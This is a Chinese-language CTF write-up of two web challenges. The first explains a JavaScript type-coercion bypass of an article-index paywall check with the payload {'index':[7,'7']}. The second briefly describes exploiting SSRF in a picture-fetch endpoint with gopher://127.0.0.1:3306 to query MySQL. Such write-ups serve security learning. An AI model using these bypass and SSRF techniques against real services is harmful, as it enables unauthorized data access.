本文最后更新于 2024年4月23日 晚上
cool_index

查看源码
在server.js
const JWT_SECRET = crypto.randomBytes(64).toString("hex");
jwt的key被设置为64位的随机字节的16进制,想爆破基本不行
flag放在了articles数组的最后一个
在/article路由中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| app.post("/article", (req, res) => { const token = req.cookies.token; if (token) { try { const decoded = jwt.verify(token, JWT_SECRET); let index = req.body.index; if (req.body.index < 0) { return res.status(400).json({ message: "你知道我要说什么" }); } if (decoded.subscription !== "premium" && index >= 7) { return res .status(403) .json({ message: "订阅高级会员以解锁" }); } index = parseInt(index); if (Number.isNaN(index) || index > articles.length - 1) { return res.status(400).json({ message: "你知道我要说什么" }); }
return res.json(articles[index]); } catch (error) { res.clearCookie("token"); return res.status(403).json({ message: "重新登录罢" }); } } else { return res.status(403).json({ message: "未登录" }); } });
|
return res.json(articles[index]);
有机会可以输出flag
需要绕过前面3个if
index不能小于0不能大于数组长度-1也就是7
其中前两个if直接去index值
而在第三个if前执行了 index = parseInt(index);
将index转为int值 然后判断Number.isNaN(index)
index传入的值是否为 NaN(Not-a-Number)
js 中>比较会先类型转换
如果数组包含多个元素或元素不能转换为数字,数组将不会被转换为一个有效的数字,而是返回 NaN(Not-a-Number)。
1 2 3 4 5 6 7 8 9 10 11
| console.log("7">=7); console.log(["7"] >= 7) console.log([7]>=7) console.log([7,"7"] >= 7) console.log(parseInt([7, "7"]))
true true true false 7
|
payload{"index":[7,"7"]}
EasySignin
随便注册一个账号
发现在修改密码的update.php
注册一个账号进去
然后

登录后admin发现/getpicture.php?url=[https://tvax3.sinaimg.cn//large/0072Vf1pgy1foxkc9gjl2j31hc0u0h7m.jpg](https://tvax3.sinaimg.cn//large/0072Vf1pgy1foxkc9gjl2j31hc0u0h7m.jpg)
存在ssrf
gopher打mysql

把gopher://127.0.0.1:3306/_ 后的的再次url编码

解码返回的base64得到flag